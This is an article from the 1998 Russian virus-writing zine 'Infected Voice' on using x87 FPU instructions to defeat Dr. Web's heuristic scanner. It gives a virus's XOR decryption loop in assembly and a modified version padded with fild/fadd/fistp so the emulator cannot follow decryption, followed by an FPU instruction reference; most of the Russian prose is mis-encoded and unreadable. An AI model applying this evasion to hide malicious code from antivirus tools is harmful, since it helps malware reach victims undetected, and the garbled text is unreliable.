   INFECTED VOICE       ISSUE 98'06      (C)1994-98, by STEALTH group
 online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
                                        mailto:noxyucT@usa.net
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 Using FPU to spoof heuristic scanners. (C)1998, by Gloomy Tanat
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     ⠪,  ᠫ ᢮  ,  ᥬ   dR. wEB
㦠᭮ 㣠  稥   ...  ਬ 楤 ᪠ *.com 䠩
(   ,       ⮣ ) ...  
  ? ᫨  , ७ ⮬ ᮯ⥫,   㬠 
   ⠢ ஡ 㣮  ,  ᫨  ⮫쪮  砫
 ᥡ  ⮬ 㭨쭮  ⥫쭮,   쬠 ࠧ-
稢 ⮢  稭   㤮 ... ⠥ , 
஡ ᠬ ࠧ  ,  ᪠     .
   ⥭   ᮡ ᢥ饣 祫  ⮩ , 
㦥   o ᮢ ...   㯨  室   樨.
室  ⮣,  wEB   (  ) 㫨஢ a ᮯ
 ⢥ ⨫ ᢮     ࠡ, 祣   ᮢ ...
 㦥 﫨  祬 ,  ᮢᥬ 窮 ᪠ ஡ ... 
ࠡ  ᮯ஬ ᢮  ⮬,   crypt'    ࠭
 室  ଠ쭮 ࠡ  (    ᪠ 
稥 㦭 ),  ᠬ 楤 ᪠  ࠦ 䠩,  decrypt'
 ᢮  짮 㣠 ᮯ ... ਬ ⥩
楤 crypt' :

;
encrypt:
decrypt:

        mov dx, word ptr [cryptdta]
        lea bx, [enc_beg]
        mov cx, (enc_end - enc_beg + 1) / 2

xor_loop:

        xor word ptr [bx], dx
        add  bx, 2

loop xor_loop

cryptdta        dw  2
;

ॢ頫  o :

;
encrypt:
decrypt:

        mov dx, word ptr [cryptdta]
        lea bx, [enc_beg]
        mov cx, (enc_end - enc_beg + 1) / 2

xor_loop:

        xor word ptr [bx], dx
        fild    x               ; x=1
        fild    y               ; y=1
        fadd                    ; x+y
        fistp   z               ; z=2
        add bx, z               ; mov bx, 2
        loop xor_loop


x               dw  1
y               dw  1
z               dw  ?
cryptdta        dw  2
;
;
enc_beg:

...  ,  wEB   ࠧ拉 ...

enc_end:
;

 ,  wEB'誠 (    ,   ⠪ ᪮,   wEB
஢ ࠢ)  ᢮  㬥 ࠡ  ᮯ஬    ᥣ
⮣,  ந室  crypt'  , ᯥ譮 ⨢ 横
decrypt'a  譮  - 'Ok'  室   ...   ,  
⥫  ᪠, ᠬ   ᥬ ⨬ 㦠᭮  ⢮
६, ᥬ    ਣ (    ਣ쭮, 
 ⮣     ਤ㬠 ᠬ)  ... 㤥  - 易⥫쭮 
  ...   ਢ ᯨ᮪ ᭮   ࠡ  ᮯ஬,
㧭    㯮 ਪ dOCTOR'y wEB'y ...

ᥣ  襣 ...

--- ᭮  ᮯ ---

;
FWAIT
 砭 ࠡ ᮯ, ᨭ஭ ࠡ ᭮
  ᮯ, ਮ⠭ ࠡ   襭
⥪饩 樨 ᮯ஬,   Pentium, 80486DX  ᮯ
80387   ⮬᪨,  ᮯ 8087 - 室 稥
 fwait.
;
FINIT
樠 ᮯ,  ⢨  ⭮  ᮯ
;
FILD
८ࠧ  楫᫥ ࠭  ⢨⥫쭮 ।⠢
 㧪   ⥪, ࠭   ⮫쪮 ६ ᠭ 
᫮,   ⢥୮ ᫮,    䫠 IE.
;
FADD
᫮  ⢨⥫ ᥫ,  ਬ  ࠭,  
  ࠭,   䫠 PE, UE, OE, DE, IE.
;
FIST
८ࠧ  ᫠  設 ⥪  楫 ᫮     
,   䫠 PE, IE, 室 㪠뢠  ࠭, 㣫
᫮  設 ⥪  楫 祭  뢠  㪠 ࠭.
;
FISTP
⮦ ᠬ + ⠫  ⥪
;
FMUL
㬭  ⢨⥫ ᥫ, 䫠 PE, UE, OE, DE, IE.
;
FSUB
⠭  ⢨⥫ ᥫ, 䫠 PE, UE, OE, DE, IE.
;
FDIV
  ⢨⥫ ᥫ, 䫠 PE, UE, OE, ZE, DE, IE.
;

   ᫥ 'P'  ⠫  ⥪.
(FIST - FISTP)

--- ooe oa opoeopa ---

⠫쭮     祩 㬥樨, apae aa ...
 ⠩  -    o pya a訬 ...

[GloomyTanat] for Infected Moscow [1998]
